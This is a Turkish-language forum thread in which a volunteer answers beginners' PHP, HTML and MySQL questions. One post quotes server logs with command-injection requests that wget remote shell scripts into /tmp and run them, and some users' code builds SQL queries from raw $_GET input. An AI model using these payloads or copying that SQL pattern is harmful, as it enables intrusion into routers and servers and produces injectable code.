ScorpionCoders
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(12.8.2018 22:02:02)
Merhaba
Bu ay olabildiğince müsaitim, açılan konulara baktım epey tarihler geri kalmış bir çoğu ya çözülmüştür yada halen yanıtlanmamış olabilir.
O yüzden tek başlık altında yardımcı olmaya çalışacağım.
Saygılar
orcnd
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(16.8.2018 03:36:36)
hangi yazılımdan bahsediyorsun wordpress mi ?
tosuntosun
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(16.8.2018 17:37:25)
merhaba
daha önce burda bir topic açmış idim
2 sayfalık bir örnek çalışmaya ihtiyacım var. fatura ekranı.
1. sayfada yeni fatura listesi olacak. ve ekle/düzelt/sil butonları ile.
bunlardan ekle/düzelt dediğimde ise 2. sayfaya gidip ya yanei stok kodları ekleyip, yada var olanları silip yenisini ekleyeceğim basit bir fatura oluşturma ekranına ihtiyacım var
misal. satıra elle elma yazacağım. yan kutuya 2 adet, fiyatı 3 lira ve en sağa kdv si ni elle yazıp satır toplamı otomatik olacak.
satır ekle ile devam edecek işlem. bu arada en alt sağda ise genel toplam şeklinde
yerli kaynak maalesef bulamadım. örnek kendim içine combo vs ekleyip kdv sini tablodan alabileceğim.
yabancı bir kaynak buldum. bootstrap ile yapmış.. acemi biri için çok gereksiz.
kendimi çok geliştiremedim maalesef. günlük iş yerinde işler vs
mysql veya pdo farketmez.. süsleme vs istemiyorum. maksadım kendimi geliştirmek
bu konuda yardımcı olman mümkün mü ?
Therdy
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(16.8.2018 18:14:51)
Merhaba,
Wordpress de bir Custom Post Type kodladım içerisine özel alan'da ekledim ancak eklediğim özel alana girdiğim değeri sayfama çekemiyorum. Yardımcı olursanız sevinirim.
Not: Önceki sorunumu çözdüm.
çin ejderhası
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(19.8.2018 14:50:22)
merhaba hocam eğer müsait olursanız yardım ederseniz çok sevinirim
benim sorum php değil ama hmtl ile ilgili umarım yardımcı olabilirsiniz
hocam 2 adet tablo oluşturdum üstteki tablodan alltaki tabloya link nasıl vereceğim konusunda yardım edebilirmisiniz
yani üstteki tabloda projeler adlı bir buton var butona tıklayınca sayfa değişmeden projeler alttaki tabloda gözükecek
Therdy
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(27.8.2018 18:14:42)
Diğer sorunumu çözdüm teşekkür ederim.
Bir site yapıyorum responsive özelliğini yazılar küçültülen yere geliyor.Ancak resim ve buton kaymıyor.
Html:
<?php include 'header.php'; ?>
<nav>
<a data-test="test" rel="nofollow" style="word-wrap: break-word; text-decoration: underline;" target="_blank" onclick="return dhExternalLinkRedirect(this)" href="/ExternalLinkRedirect?module=pgdcode&messageId=134668355&url=action.php" data-href="action.php">Sign İn</a>
</nav>
</header>
</section>
<img id="banner" src="http://i.hizliresim.com/LD00Vz.png" >
<center>
<p style="font-size: 10vw" ><font size="6" color="#403b3b">
<b>Hoşgeldin</b></font></p>
<br>
<p style="font-size: 10vw; " ><font size="4" color="#333" >
<b>İçeride Neler var neler<br> Görmek istiyoran tıkla ve devam <br> et. </center></b></font></p>
<a class="buttons" href="planform.php"><p></p><font face="arial" size="5" color="white">
<center><b>Gör </b></center></font></p> </a>
</center>
</div>
Css:.sign {
font-style: bold;
text-decoration: none;
color: black;
font-weight: 400;
padding: 13px 30px;
font-size: 20;
}
.buttons {
background-color: #e50914;
text-decoration: none;
color: #FFF;
font-weight: 30;
padding: 10px 10px;
border-radius: 3px;
width: 400px;
height: 30px;
margin: auto;
position: absolute;
top: 400; right: 400; bottom: 0; left: 400;;
font-size: 20;
}
#banner {
width: 80px;
height:80px;
font-size: 10vw;
margin-left:640;
margin-top:190;
}
Teşekkürler
ScorpionCoders
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(28.8.2018 02:15:46)
Merhaba
Responsive olacak sayfayı görsel olarak atar mısınız.
tatankalahari
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(28.8.2018 18:54:10)
PHP'de kolay yoldan güvenli site yapmak mümkün müdür?
Mümkünse nelere dikkat etmek lazım?
Deneme amaçlı site açtım,şu an hiç kullanıcısı yok ama siteye sürekli sitenin PHP tabanlı olduğunu varsayan saldırılar geliyor. "setup.php" dosyasına falan erişmeye çalışıyorlar.
ScorpionCoders
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(28.8.2018 20:47:05)
Merhaba
Genelde her projemde yaparım,
Siteyi belli bir süre şu şekilde takip etmenizi öneriyorum.
Bir tablonuz olsun,
guest
id
request_uri
http_referer
user_agent
ip_address
data *mediumtext
date *datetime
<?php
// ...
// mysqli bağlantısı sonrasına
$stmt = $db->prepare("INSERT INTO guest(request_uri, http_referer, ip_address, user_agent, data, date) VALUES (?, ?, ?, ?, ?, ?)");
$stmt->bind_param('ssssss', $request_uri, $http_referer, $ip_address, $user_agent, $data, $date);
$request_uri = $_SERVER['REQUEST_URI'];
$http_referer = (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : NULL);
$ip_address = $_SERVER['REMOTE_ADDR'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$data = json_encode(array('POST' => $_POST, 'GET' => $_GET));
$date = date('Y-m-d H:i:s');
$stmt->execute();
Bu tabloda biraz kayıtlar biriksin, klasik örümcekler mi yoksa basit sql injection çalışmaları mı vs çok rahat anlayabilirsiniz.
SQL Injection, XSS açıkları vs gibi forumda çok sayıda hali hazırda fonksiyonlarda mevcut
Saygılarımla
weboli
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(1.9.2018 10:40:44)
tatankalahari
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(2.9.2018 14:32:34)
Benzer birşeyi ben de yaptım ve siteye gelen istekler beni php'nin güvenliği konusunda şüpheye düşürdü. Siteyi php'de programlamadım ama servera gelen isteklerden bazıları şunlar:
IP İstek Tarih ve Saat
::ffff:185.143.223.106 /HNAP1/ 2018-09-02T04:30:32.265Z
::ffff:37.53.71.1 /login.cgi?cli=aa%20aa%27;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ 2018-09-02T02:13:37.053Z
::ffff:104.238.183.39 /preview.php 2018-09-01T18:03:29.033Z
::ffff:5.8.54.27 /?XDEBUG_SESSION_START=phpstorm 2018-09-01T17:26:07.104Z
::ffff:5.188.210.12http://5.188.210.12/echo.php 2018-09-01T08:59:49.518Z
::ffff:42.117.109.230 /login.cgi?cli=aa%20aa%27;wget%20http://77.87.77.250/izuku.sh%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ 2018-09-01T11:16:23.783Z
::ffff:186.58.123.227 /GponForm/diag_Form?images/ 2018-08-31T07:05:46.037Z
::ffff:183.131.83.112 /manager/html 2018-08-31T07:19:20.695Z
::ffff:125.65.112.8 /search/www.ymwears.cn 2018-08-30T05:48:48.243Z
::ffff:27.137.1.29 /login.cgi?cli=aa%20aa%27;wget%20http://212.237.32.62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ 2018-08-31T07:54:49.907Z
::ffff:5.255.250.168 /SdKeZ/ 2018-08-31T00:17:45.251Z
::ffff:180.97.106.39http://180.163.113.82/check_proxy 2018-08-29T18:15:12.586Z
::ffff:124.236.175.106 /fdsrwe 2018-08-28T09:56:22.822Z
armax
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(7.9.2018 15:27:34)
Merhaba emeğiniz için teşekkürler,
Mysql veritabanından php ile ürün çekiyorum, çalışma şekli;
ürün tablosunda ürünler kısmı yer alıyor
resim tablosunda ürün id ekleyerek ürüne resim bağlanıyor.
Fakat ürün tablosuna bağlı resim tablosunda her hangi bir kayıt yoksa; "bos.jpg" dosyasını php de ayarlayamıyorum, çözüm öneriniz ne olur ?
if empty vb. çok denedim ama nafile
ScorpionCoders
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(7.9.2018 16:32:18)
Merhaba
Eğer yanlış anlamadıysam, tablodaki örneğin image
VARCHAR 255, VE NULL seçeneği işaretli olsun.
<img src="<?php echo (is_null($row->image) ? 'bos.jpg' : $row->image); ?>" />
Bir diğer alternatif iste,
image fieldine veritabanında default değerini "bos.jpg" olarak yapın. kayıt ilk oluşturulduğunda bos.jpg şeklinde değer yazılsın.
halimasa
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(7.9.2018 17:07:07)
Selamlar değerli arkadaşlar programlamaya yeni başladım ve aşağıdaki sorunla karşılaştım, yardımlarınızı bekliyorum.
Sorun: Oluşturduğum php kodlarında TC No içinde geçen herhangi bir rakamı text box a (input) girdiğimde tek rakamın tuttuğu tüm kayıtları getiriyor, ben istiyorum ki kişi tc numarasını tam girsin ve doğruysa ilgili kişinin adı soyadı, tc si cinsiyeti ve karne numarasının gelmesini istiyorum.
Detaylar:
phpmyadmin üzerinde bir db oluşturdum. aşağıdaki kodlarda bu dbadi diye yazdım
DB üzerinde oluşturulan Tablo adı
tblkullanici
Tabloda bulunan sütunların isimleri
tcno, adisoyadi, cinsiyeti, karneno,
bu tablo içinde 4 tane sütun oluşturdum (sütun sayısını daha sonra arttırabilirim.)
Yaptığım uygulamaya ait kodlar aşağıdaki gibidir.
<?php
mysql_connect("localhost","dbkullanici","password","dbadi") or die ("Bağlantı Başarısız");
mysql_select_db("sertifika") or die ("Bağlantı Başarısız");
$output = ' ';
//collect
if(isset($_POST['search'])){
$searchq = $_POST['search'];
$searchq = preg_replace ("#[^0-9 a-z]#i", "", $searchq);
$query = mysql_query("SELECT * FROM tblkullanici WHERE tcno LIKE '%$searchq%'") or die ("Arama Yapılamadı");
$count = mysql_num_rows ($query);
if ($count == 0) {
$output = 'Aranan Kriterde Kayıt Bulunamadı';
} else{
while ($row= mysql_fetch_array($query)){
$tno = $row['tcno'];
$adi = $row['adisoyadi'];
$output .= '<div>'.$tno.' '.$adi.'</div>';
}
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>
<body>
<form action="index.php" method="post"/>
<input type="text" name="search" placeholder="Tc Kimlik No Yazınız..."/>
<input type="submit" value=">>"/>
</form>
<?php print ("$output");
?>
</body>
</html>
armax
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(7.9.2018 17:51:00)
Hocam çalışma şekliyle ilgili biraz detaya inim. örnek tablo;
Ürün için tablo "urun"
ID______Ürün Adı
1-------ABC
2-------SQL
3-------APL
Resim İçin tablo "resim"
ID_____resim_________urun_id
1------abc.jpg-------1
2------sql.jpg-------2
3------sql2.jpg------2
4------abc2.jpg------1
Mesela 3. APL ürününde resim tablosunda urun_id e bağlı her hangi bir değer yok. Olmadığı için bos.jpg getiremiyor.
Mevcut php kodu da bu şekilde
$urunler = $db->sorgu("SELECT * FROM urun WHERE kategori_id='$_GET[id]' or marka_id='$_GET[id]' ORDER BY `sira` ASC");
if($db->say($urunler) < 1) {
echo'<p>Kayıtlı ürün bulunmamaktadır.</p>';
} else {
while ($oku = $db->cek($urunler)) {
echo'<div>';
$resimsorgu = $db->sorgu("SELECT * FROM dosya WHERE urun_id = '".$oku[id]."' ORDER BY id limit 1");
while ($adresoku = $db->cek($resimsorgu)){
$uyesor = mysql_query("SELECT * FROM dosya where urun_id='".$oku[id]."'");
$sorgu_sayisi = mysql_num_rows($uyesor);
if (!empty($oku[id]==$adresoku[urun_id])) {
echo'<h5><a data-test="test" rel="nofollow" style="word-wrap: break-word; text-decoration: underline;" target="_blank" onclick="return dhExternalLinkRedirect(this)" href="/ExternalLinkRedirect?module=pgdcode&messageId=134882981&url=urunler?duzenle='.$oku[id].'" data-href="urunler?duzenle='.$oku[id].'"><img src="/images/'.$adresoku[resim].'" height="185" width="185" class="img-responsive"></a></h5>';
}
else {
echo'<a data-test="test" rel="nofollow" style="word-wrap: break-word; text-decoration: underline;" target="_blank" onclick="return dhExternalLinkRedirect(this)" href="/ExternalLinkRedirect?module=pgdcode&messageId=134882981&url=urunler?duzenle='.$oku[id].'" data-href="urunler?duzenle='.$oku[id].'"><img src="/images/bos.jpg" class="img-responsive" width="130" height="130"></a>';
}
}
ScorpionCoders
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(7.9.2018 19:58:21)
Şunu dener misiniz
if (isset($_REQUEST['id'])) {
$stmt = $db->prepare("SELECT id, (SELECT resim FROM dosya WHERE urun_id = urun.id LIMIT 1) AS resim FROM urun WHERE (kategori_id = ? OR marka_id = ?) ORDER BY sira ASC");
$stmt->bind_param('ii', $categoryId, $brandId);
$categoryId = (int) $_GET['id'];
$brandId = (int) $_GET['id'];
$stmt->execute();
$result = $stmt->get_result();
if ($result) {
while ($row = $result->fetch_object()) {
echo '<a onclick="return dhExternalLinkRedirect(this)" href="/ExternalLinkRedirect?url=urunler?duzenle=' . $row->id . '" data-href="urunler?duzenle=' . $row->id . '" >';
echo '<img src="/images/' . ($row->resim ? $row->resim : 'bos.jpg') . '" class="img-responsive" width="130" height="130">';
echo '</a>';
}
} else {
echo '<p>Kayıtlı ürün bulunmamaktadır.</p>';
}
}
armax
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(8.9.2018 12:22:26)
hocam yapamadım maalesef
Fatal error: Call to undefined method db::prepare()
hatasını aşamadım. böyle düzenledim ama;
if (isset($_REQUEST['id'])) {
$stmt = $db->prepare("SELECT id, (SELECT * FROM dosya WHERE urun_id = '$_GET[id]' LIMIT 1) AS * FROM urun WHERE (kategori_id = '$_GET[id]' OR marka_id = '$_GET[id]') ORDER BY sira ASC");
$stmt->bind_param('ii', $categoryId, $brandId);
$categoryId = (int) $_GET['id'];
$brandId = (int) $_GET['id'];
$stmt->execute();
$result = $stmt->get_result();
if ($result) {
while ($row = $result->fetch_object()) {
echo '<a href="urunler?duzenle=' . $row->id . '" data-href="urunler?duzenle=' . $row->id . '" >';
echo '<img src="/images/' . ($row->dosya ? $row->dosya : 'bos.jpg') . '" class="img-responsive" width="130" height="130">';
echo '</a>';
}
} else {
echo '<p>Kayıtlı ürün bulunmamaktadır.</p>';
}
}
ScorpionCoders
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(8.9.2018 12:56:01)
Şöyle değiştirelim.
if (isset($_REQUEST['id'])) {
$categoryId = (int) $_GET['id'];
$brandId = (int) $_GET['id'];
$query = $db->query("SELECT id, (SELECT dosya FROM dosya WHERE urun_id = urun.id LIMIT 1) AS dosya FROM urun WHERE (kategori_id = {$categoryId} OR marka_id = {$brandId}) ORDER BY sira ASC");
if ($query->num_rows > 0) {
while ($row = $query->fetch_object()) {
echo '<a onclick="return dhExternalLinkRedirect(this)" href="/ExternalLinkRedirect?url=urunler?duzenle=' . $row->id . '" data-href="urunler?duzenle=' . $row->id . '" >';
echo '<img src="/images/' . ($row->dosya ? $row->dosya : 'bos.jpg') . '" class="img-responsive" width="130" height="130">';
echo '</a>';
}
} else {
echo '<p>Kayıtlı ürün bulunmamaktadır.</p>';
}
}
BiletlerBiletxD
=> PHP sorusu olanlar, çözüm arayanlar buraya | ÜCRETSİZ
(9.9.2018 22:26:37)
Merhabalar.Xampp'ta Apache server ve MySQL'i açıyorum.Apache serverda sıkıntı yok.Fakat localhost/phpmyadmin veya xampp üzerinden admin butonuna tıkladığımda veritabanına erişemiyorum.Ne yapmam lazım?